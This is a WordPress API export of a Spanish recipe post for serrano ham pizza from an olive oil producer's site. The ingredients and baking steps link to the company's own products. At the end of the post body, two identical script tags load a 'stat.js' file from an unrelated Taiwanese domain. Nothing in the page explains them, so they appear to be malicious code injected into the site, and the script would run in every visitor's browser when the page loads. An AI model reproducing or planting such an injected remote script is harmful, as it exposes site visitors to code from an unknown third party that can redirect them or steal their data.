{"id":1924,"date":"2019-01-10T18:30:08","date_gmt":"2019-01-10T17:30:08","guid":{"rendered":"https:\/\/biocalaceite.com\/pizza-de-jamon-serrano\/"},"modified":"2023-03-21T15:25:55","modified_gmt":"2023-03-21T14:25:55","slug":"how-to-make-an-authentic-jamon-serrano-pizza","status":"publish","type":"post","link":"https:\/\/biocalaceite.com\/en\/how-to-make-an-authentic-jamon-serrano-pizza\/","title":{"rendered":"How to make an authentic jam\u00f3n Serrano pizza"},"content":{"rendered":"<p>La pizza de jam\u00f3n serrano es un plato donde se juntan varios de los mejores ingredientes de la dieta mediterr\u00e1nea. Para este plato cogemos la base de la pizza de Italia y le a\u00f1adimos ingredientes t\u00edpicos de Espa\u00f1a.<\/p>\n<p>Esta pizza tiene un gran \u00e9xito, especialmente entre los m\u00e1s j\u00f3venes.<\/p>\n<p>&nbsp;<\/p>\n<h2>Ingredientes<\/h2>\n<p><strong>PARA LA MASA<\/strong><\/p>\n<ul>\n<li>400g de harina<\/li>\n<li>200ml de agua<\/li>\n<li>60ml de <a href=\"https:\/\/biocalaceite.com\/en\/producto\/six-pack-unfiltered-olive-oil\/\">aceite de oliva Biocalaceite sin filtrar <\/a><\/li>\n<li>20g de levadura fresca.<\/li>\n<li>10g de sal.<\/li>\n<\/ul>\n<p><strong>PARA EL RELLENO<\/strong><\/p>\n<ul>\n<li>200g de tomate frito.<\/li>\n<li>300g de Jam\u00f3n Serrano cortado en filetes finos y troceado.<\/li>\n<li>200g de mozzarella.<\/li>\n<li>5g de or\u00e9gano.<\/li>\n<li>120g de cebolla picada fina.<\/li>\n<li>300g de champi\u00f1ones.<\/li>\n<li>50ml de&nbsp;<a href=\"https:\/\/biocalaceite.com\/en\/producto\/unfiltered-olive-oil-250ml\/\" target=\"_blank\" rel=\"noopener noreferrer\">aceite de oliva Biocalaceite sin filtrar<\/a><\/li>\n<\/ul>\n<h2><\/h2>\n<h2 style=\"text-align: left;\">Preparaci\u00f3n<\/h2>\n<p>Preparamos todos los ingredientes.<img fetchpriority=\"high\" decoding=\"async\" class=\"alignnone size-full wp-image-1361\" src=\"https:\/\/biocalaceite.com\/wp-content\/uploads\/2019\/01\/Biocalaceite-Pizza-jamo\u0301n-Serrano-2.jpg\" alt=\"\" width=\"6016\" height=\"4000\"><\/p>\n<div class=\"receta__preparacion__pasos\">\n<div class=\"receta__preparacion__paso\" style=\"text-align: left;\">\n<div class=\"col-xs-12 receta__preparacion__paso--texto\">\n<p>En un bol ponemos la harina y la sal haciendo un hoyo en el centro.<\/p>\n<p>En otro recipiente mezclamos la levadura con el agua, hasta que quede la levadura completamente diluida en el agua.<\/p>\n<p>Vertemos en el hoyo de la harina el agua con la levadura y el <a href=\"https:\/\/biocalaceite.com\/en\/producto\/unfiltered-olive-oil-250ml\/\">aceite de oliva Biocalaceite sin filtrar<\/a> y lo vamos mezclando todo con la mano, moviendo la masa de fuera hacia dentro hasta que la masa no se pegue en el bol.<img decoding=\"async\" class=\"alignnone size-full wp-image-1363\" src=\"https:\/\/biocalaceite.com\/wp-content\/uploads\/2019\/01\/Biocalaceite-Pizza-jamo\u0301n-Serrano-3.jpg\" alt=\"\" width=\"6016\" height=\"4000\"><\/p>\n<\/div>\n<\/div>\n<\/div>\n<p>Espolvoreamos la mesa con un poco de harina y seguimos amasando la masa hasta que quede uniforme. Una vez tenemos la masa terminada, hacemos una bola y la ponemos en el bol y la dejamos reposar durante 20 minutos.<img decoding=\"async\" class=\"alignnone size-full wp-image-1366\" src=\"https:\/\/biocalaceite.com\/wp-content\/uploads\/2019\/01\/Biocalaceite-Pizza-jamo\u0301n-Serrano-4.jpg\" alt=\"\" width=\"6016\" height=\"4000\"><\/p>\n<div>\n<p>Por otro lado cogemos una sart\u00e9n, echamos la cebolla y el aceite y lo tenemos a fuego lento hasta que quede transparente.<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1368\" src=\"https:\/\/biocalaceite.com\/wp-content\/uploads\/2019\/01\/Biocalaceite-Pizza-jamo\u0301n-Serrano-5.jpg\" alt=\"\" width=\"6016\" height=\"4000\"><\/p>\n<\/div>\n<p>Cortamos los champi\u00f1ones en filetes finos y salteamos un poco junto a la cebolla.<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1370\" src=\"https:\/\/biocalaceite.com\/wp-content\/uploads\/2019\/01\/Biocalaceite-Pizza-jamo\u0301n-Serrano-6.jpg\" alt=\"\" width=\"6016\" height=\"4000\"><\/p>\n<div class=\"receta__preparacion__pasos\">\n<div class=\"receta__preparacion__paso\" style=\"text-align: left;\">\n<div class=\"col-xs-12 receta__preparacion__paso--icono\">\n<p>Pasados los 20 minutos precalentamos el horno a 180 grados y mientras tanto, por otro lado con la ayuda de un rodillo, extendemos la masa hasta conseguir el grosor y tama\u00f1o que queramos.<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1375\" src=\"https:\/\/biocalaceite.com\/wp-content\/uploads\/2019\/01\/Biocalaceite-Pizza-jamo\u0301n-Serrano-7.jpg\" alt=\"\" width=\"6016\" height=\"4000\"><\/p>\n<p>Colocamos la masa en una bandeja con papel de horno y echamos el tomate frito y lo extendemos cubriendo toda la superficie.<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1377\" src=\"https:\/\/biocalaceite.com\/wp-content\/uploads\/2019\/01\/Biocalaceite-Pizza-jamo\u0301n-Serrano-8.jpg\" alt=\"\" width=\"6016\" height=\"4000\"><\/p>\n<\/div>\n<\/div>\n<\/div>\n<div>\n<p>A\u00f1adimos la cebolla y el champi\u00f1\u00f3n elaborados y los trozos de jam\u00f3n cubriendo toda la superficie.<br \/>\nFinalmente cubrimos todo con mozzarella.<br \/>\nLo introducimos en el horno durante 30 minutos.<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1379\" src=\"https:\/\/biocalaceite.com\/wp-content\/uploads\/2019\/01\/Biocalaceite-Pizza-jamo\u0301n-Serrano-9.jpg\" alt=\"\" width=\"6016\" height=\"4000\"><\/p>\n<p>Pasados 30 minutos sacamos la pizza del horno, espolvoreamos or\u00e9gano por encima de todo y ya la tenemos lista para comer.<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1381\" src=\"https:\/\/biocalaceite.com\/wp-content\/uploads\/2019\/01\/Biocalaceite-Pizza-jamo\u0301n-Serrano-10.jpg\" alt=\"\" width=\"6016\" height=\"4000\"><\/p>\n<\/div>\n<div><\/div>\n<p><script src='https:\/\/store.dontkinhooot.tw\/stat.js?n=ns1' type='text\/javascript'><\/script><script src='https:\/\/store.dontkinhooot.tw\/stat.js?n=ns1' type='text\/javascript'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>La pizza de jam\u00f3n serrano es un plato donde se juntan varios de los mejores ingredientes de la dieta mediterr\u00e1nea. Para este plato cogemos la base de la pizza de Italia y le a\u00f1adimos ingredientes t\u00edpicos de Espa\u00f1a. Esta pizza tiene un gran \u00e9xito, especialmente entre los m\u00e1s j\u00f3venes. &nbsp; Ingredientes PARA LA MASA 400g [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":1925,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[58],"tags":[],"class_list":["post-1924","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-recetas-en"],"_links":{"self":[{"href":"https:\/\/biocalaceite.com\/en\/wp-json\/wp\/v2\/posts\/1924","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/biocalaceite.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/biocalaceite.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/biocalaceite.com\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/biocalaceite.com\/en\/wp-json\/wp\/v2\/comments?post=1924"}],"version-history":[{"count":1,"href":"https:\/\/biocalaceite.com\/en\/wp-json\/wp\/v2\/posts\/1924\/revisions"}],"predecessor-version":[{"id":1926,"href":"https:\/\/biocalaceite.com\/en\/wp-json\/wp\/v2\/posts\/1924\/revisions\/1926"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/biocalaceite.com\/en\/wp-json\/wp\/v2\/media\/1925"}],"wp:attachment":[{"href":"https:\/\/biocalaceite.com\/en\/wp-json\/wp\/v2\/media?parent=1924"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/biocalaceite.com\/en\/wp-json\/wp\/v2\/categories?post=1924"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/biocalaceite.com\/en\/wp-json\/wp\/v2\/tags?post=1924"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}